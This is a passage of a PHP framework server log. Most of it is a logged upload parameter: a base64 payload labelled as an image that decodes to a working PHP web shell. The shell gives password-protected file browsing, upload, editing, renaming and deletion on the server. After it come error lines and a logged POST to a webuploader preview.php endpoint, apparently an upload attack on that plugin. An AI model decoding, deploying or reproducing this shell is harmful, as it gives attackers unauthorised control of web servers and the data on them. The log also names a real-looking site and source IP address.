'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:36+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002548s] [吞吐率:392.43req/s] [内存消耗:196.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 